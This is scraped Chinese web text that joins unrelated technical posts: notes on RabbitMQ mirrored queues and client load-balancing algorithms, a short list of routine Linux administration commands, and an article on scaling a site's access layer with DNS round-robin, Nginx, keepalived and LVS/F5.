!important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">消息被投递到哪个队列是由交换器和key决定的，交换器、路由键、队列都需要手动创建。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">rabbitmq客户端发送消息要和broker建立连接，需要事先知道broker上有哪些交换器，有哪些队列。通常要声明要发送的目标队列，如果没有目标队列，会在broker上创建一个队列，如果有，就什么都不处理，接着往这个队列发送消息。假设大部分繁重任务的队列都创建在同一个broker上，那么这个broker的负载就会过大。（可以在上线前预先创建队列，无需声明要发送的队列，但是发送时不会尝试创建队列，可能出现找不到队列的问题，rabbitmq的备份交换器会把找不到队列的消息保存到一个专门的队列中，以便以后查询使用）</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">使用镜像队列机制建立rabbitmq集群可以解决这个问题，形成master-slave的架构，master节点会均匀分布在不同的服务器上，让每一台服务器分摊负载。slave节点只是负责转发，在master失效时会选择加入时间最长的slave成为master。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">当新节点加入镜像队列的时候，队列中的消息不会同步到新的slave中，除非调用同步命令，但是调用命令后，队列会阻塞，不能在生产环境中调用同步命令。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">当rabbitmq队列拥有多个消费者的时候，队列收到的消息将以轮询的分发方式发送给消费者。每条消息只会发送给订阅列表里的一个消费者，不会重复。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">这种方式非常适合扩展，而且是专门为并发程序设计的。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">如果某些消费者的任务比较繁重，那么可以设置basicQos限制信道上消费者能保持的最大未确认消息的数量，在达到上限时，rabbitmq不再向这个消费者发送任何消息。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">对于rabbitmq而言，客户端与集群建立的TCP连接不是与集群中所有的节点建立连接，而是挑选其中一个节点建立连接。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">但是rabbitmq集群可以借助HAProxy、LVS技术，或者在客户端使用算法实现负载均衡，引入负载均衡之后，各个客户端的连接可以分摊到集群的各个节点之中。</span></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">客户端均衡算法：</span></p> <ul class=" list-paddingleft-2" style="list-style-type: square;margin-left: 8px;margin-right: 8px;"> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">轮询法。按顺序返回下一个服务器的连接地址。</span></p></li> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">加权轮询法。给配置高、负载低的机器配置更高的权重，让其处理更多的请求；而配置低、负载高的机器，给其分配较低的权重，降低其系统负载。</span></p></li> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">随机法。随机选取一个服务器的连接地址。</span></p></li> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">加权随机法。按照概率随机选取连接地址。</span></p></li> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">源地址哈希法。通过哈希函数计算得到的一个数值，用该数值对服务器列表的大小进行取模运算。</span></p></li> <li><p style="max-width: 100%;min-height: 1em;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">最小连接数法。动态选择当前连接数最少的一台服务器的连接地址。</span></p></li> </ul> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="max-width: 100%;min-height: 1em;font-variant-numeric: normal;font-variant-east-asian: normal;letter-spacing: 0.544px;line-height: 27.2px;white-space: normal;widows: 1;text-align: left;background-color: rgb(255, 255, 255);margin-left: 8px;margin-right: 8px

#### 查看文件大小 du -bs fileName #### 查看文件夹大小 cd / du -sh * #### 查看剩余空间 df -h df -Th #### Linux 清理内存 //清理前内存使用情况 free -m //开始清理 echo 1 > /proc/sys/vm/drop_caches //清理后内存使用情况 free -m //完成!查看内存条数命令： dmidecode | grep -A16 "Memory Device$" #### nginx查看日志ip访问量 awk '{print $4}' tcp_access.log |sort | uniq -c | sort -n -k 1 -r | head -n 100 #### 查看yum的tomcat安装目录 rpm -ql tomcat | cat -n

<p><span style="letter-spacing: 1px;font-size: 14px;">有朋友问我，DNS轮询是不是过时的技术了？有了反向代理层（Nginx、LVS、F5等），是不是就不需要DNS轮询了？</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">然而，反向代理层绝不能替代DNS轮询！</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">反向代理层有什么用？架构实现时要注意什么？</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) <strong>作为服务端统一入口</strong>，屏蔽后端WEB集群细节，代表整个WEB集群；</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：这就是为啥它叫反向代理。</span></em></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <strong>保证WEB集群的扩展性</strong>，Nginx后端可随时加WEB实例；</span></p> <p style="background-color: transparent;clear: both;color: rgb(0, 0, 0);"><span style="font-size: 14px;letter-spacing: 1px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;">(3) <strong>实施负载均衡</strong>，反向代理层会将请求均匀分发给后端WEB集群的每一个实例；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(4) <strong>保证WEB集群的高可用</strong>，任何一个WEB实例挂了，服务都不受影响；</span><br></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(5) <strong>注意自身高可用</strong>，防止一台Nginx挂了，服务端统一入口受影响；</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;"><br></span></strong></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">反向代理层还存在啥问题？</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">反向代理层</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">自身的扩展性问题</span><span style="letter-spacing: 1px;font-size: 14px;">并没有得到很好的解决，例如当Nginx成为系统瓶颈的时候，无法扩容。</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">DNS轮询如何解<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">决</span>反向代理层的扩展性问题？</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">通过在DNS-server上对一个域名设置多个IP解析，</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">能够增加入口Nginx实例个数</span><span style="letter-spacing: 1px;font-size: 14px;">，起到水平扩容的作用，解决反向代理层的扩展性问题。</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">因此，反向代理和DNS轮询并不是互斥的技术，however，这里详细展开讲一下</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">接入层的架构渐进历程</span><span style="letter-spacing: 1px;font-size: 14px;">。</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">裸奔时代（1）单机架构</span></strong></p> <p><img data-ratio="0.2662337662337662" data-type="png" data-s="300,640" data-w="462" src="/upload/bc6bb66f28d4382f06a3b634acc592c9.png"><br><span style="letter-spacing: 1px;font-size: 14px;">裸奔时代的架构图如上：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 浏览器通过DNS-server，域名解析到ip；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 浏览器通过ip访问web-server；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">缺点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 非高可用，web-server挂了整个系统就挂了；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 扩展性差，当吞吐量达到web-server上限时，无法扩容；</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：单机不涉及负载均衡问题<span style="display: inline !important;float: none;background-color: transparent;" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">。</span></span></em></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">简易扩容方案（2）DNS轮询</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">假设tomcat的吞吐量是1000次每秒，当系统总吞吐量达到3000时，如何扩容是首先要解决的问题，DNS轮询是一个很容易想到的方案。</span></p> <p><em><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;">画外音：DNS轮询解决扩展性问题。</span></em></p> <p><img data-ratio="0.23834196891191708" data-type="png" data-s="300,640" data-w="579" src="/upload/b235c5cbb7c62b2be809271105d72708.png"><br><span style="letter-spacing: 1px;font-size: 14px;">此时的架构图如上：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 多部署几份web-server，1个tomcat抗1000，部署3个tomcat就能抗3000；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 在DNS-server层面，域名每次解析到不同的ip；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">优点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) <strong>零成本</strong>：在DNS-server上多配几个ip即可，功能也不收费；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <strong>部署简单</strong>：多部署几个web-server即可，原系统架构不需要做任何改造；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(3) <strong>负载均衡</strong>：变成了多机，负载也是均衡的；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">缺点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) <strong>非高可用</strong>：DNS-server只负责域名解析ip，</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">这个ip对应的服务是否可用，DNS-server是不保证的</span><span style="letter-spacing: 1px;font-size: 14px;">，假设有一个web-server挂了，部分服务会受到影响；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <strong>扩容非实时</strong>：DNS解析有一个生效周期；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(3) <strong>暴露了太多的外网ip</strong>；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">简易扩容方案（3）反向代理Nginx</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">tomcat的性能较差，但<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>作为反向代理的性能就强很多，假设线上跑到1w，就比tomcat高了10倍，可以利用这个特性来做扩容。</span></p> <p><img data-ratio="0.39636363636363636" data-type="png" data-s="300,640" data-w="550" src="/upload/a89993ecb5b114bf3c37c989e8a899d0.png"><br><span style="letter-spacing: 1px;font-size: 14px;">此时的架构图如上：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 站点层与浏览器层之间加入了一个反向代理层，利用高性能的<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>来做反向代理；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>将http请求分发给后端多个web-server；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">优点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) DNS-server不需要动；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <strong>负载均衡</strong>：通过<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>来保证；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(3) <strong>只暴露一个外网ip</strong>，<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>-&gt;tomcat之间使用内网访问；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(4) <strong>扩容实时</strong>：<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>内部可控，随时增加web-server随时实时扩容；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(5) <strong>能够保证站点层的可用性</strong>：任何一台tomcat挂了，<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>可以将流量迁移到其他tomcat；</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：反向代理，能够更实时，更方便的扩容了。</span></em></span></p> <p><br></p> <p><span style="letter-spacing: 1px;font-size: 14px;">缺点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) <strong>时延增加+架构更复杂了</strong>：中间多加了一个反向代理层；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <strong>反向代理层成了单点</strong>，非高可用：tomcat挂了不影响服务，<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>挂了怎么办？</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">高可用方案（4）keepalived</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">为了解决高可用的问题，keepalived出场了。</span></p> <p><img data-ratio="0.44587155963302755" data-type="png" data-s="300,640" data-w="545" src="/upload/3c839430fce85449e96b85c19bd86ebd.png"><br></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 做两台<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>组成一个集群，分别部署上keepalived，设置成相同的虚IP，保证<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>的高可用；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 当一台<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>挂了，keepalived能够探测到，并将流量自动迁移到另一台<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>上，整个过程对调用方透明；</span></p> <p><img data-ratio="0.45636363636363636" data-type="png" data-s="300,640" data-w="550" src="/upload/50b3661f7e0051e22b00dd6a6ee76fb0.png"><br><span style="letter-spacing: 1px;font-size: 14px;">优点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 解决了高可用的问题；</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：反向代理的高可用也解决了。</span></em></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">缺点：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) <strong>资源利用率只有50%</strong>；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>仍然是接入单点，</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">如果接入吞吐量超过的<span style="letter-spacing: 1px;font-size: 14px;display: inline !important;float: none;background-color: transparent;" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>的性能上限怎么办</span><span style="letter-spacing: 1px;font-size: 14px;">，例如qps达到了50000咧？</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">scale up扩容方案（5）lvs/f5</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>是应用软件，性能比tomcat好，但总有个上限，超出了上限，还是扛不住。</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">lvs就不一样了，它实施在操作系统层面；f5的性能又更好了，它实施在硬件层面；它们性能比<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>好很多，例如每秒可以抗10w，这样可以利用他们来扩容，常见的架构图如下：</span></p> <p><img data-ratio="0.4397031539888683" data-type="png" data-s="300,640" data-w="539" src="/upload/3d98af4199d25531a7ade5bed0a80362.png"><br></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 如果通过<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>可以扩展多个tomcat一样，可以通过lvs来扩展多个<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx；</span></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 通过keepalived+VIP的方案可以保证可用性；</span></p> <p><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">99.9999%的公司到这一步基本就结束了</span><span style="letter-spacing: 1px;font-size: 14px;">，解决了接入层高可用、扩展性、负载均衡的问题。</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：上游再加一层扩充性能。</span></em></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">完美了嘛，还有什么潜在问题？</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">好吧，不管是使用lvs还是f5，这些都是scale up的方案，根本上，lvs/f5还是会有性能上限，假设每秒能处理10w的请求，一天也只能处理80亿的请求（10w秒吞吐量*8w秒），那万一系统的日PV超过80亿怎么办呢？</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">scale out扩容方案（6）DNS轮询</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">如之前文章所述，</span><span style="color: rgb(255, 76, 0);letter-spacing: 1px;font-size: 14px;">水平扩展，才是解决性能问题的根本方案</span><span style="letter-spacing: 1px;font-size: 14px;">，能够通过加机器扩充性能的方案才具备最好的扩展性。</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">facebook，google，baidu的PV是不是超过80亿呢，它们的域名只对应一个ip么，终点又是起点，还是得通过DNS轮询来进行扩容。</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="letter-spacing: 1px;font-size: 14px;">画外音：DNS轮询解决扩展性问题。</span></em></span></p> <p><img data-ratio="0.4781297134238311" data-type="png" data-s="300,640" data-w="663" src="/upload/fe6bea886ec570eb4d7572f93346dc96.png"><br></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 通过DNS轮询来线性扩展入口lvs层的性能；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) 通过keepalived来保证高可用；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(3) 通过lvs来扩展多个<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx；</span></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(4) 通过<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>来做负载均衡，业务七层路由；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">&nbsp;</span></p> <p><strong><span style="letter-spacing: 1px;font-size: 14px;">总结</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;">稍微做一个简要的总结：</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(1) 接入层架构要考虑的问题域为：<strong>高可用、扩展性、反向代理、负载均衡</strong>；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(2) <span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>、keepalived、lvs、f5可以很好的解决高可用、扩展性、反向代理、负载均衡的问题；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">(3) 水平扩展<strong>scale out是解决扩展性问题的根本方案</strong>，DNS轮询是不能完全被<span style="display: inline !important;float: none;background-color: transparent;color: rgb(0, 0, 0);" px="px" none="none" left="left" normal="normal" yahei="yahei" gb="gb" sans="sans" neue="neue" helvetica="helvetica">Nginx</span>/lvs/f5所替代的；</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;"><br></span></p> <p><span style="letter-spacing: 1px;font-size: 14px;">希望大家有收获。</span><br></p> <p style="text-align: center;color: rgb(51, 51, 51);clear: both;box-sizing: border-box;background-color: rgb(255, 255, 255);"><img width="auto" class=" " style="box-sizing: border-box;height: 130px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;margin-top: 0px;max-width: 677px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;padding-top: 0px;visibility: visible;width: 130px;word-wrap: break-word;" 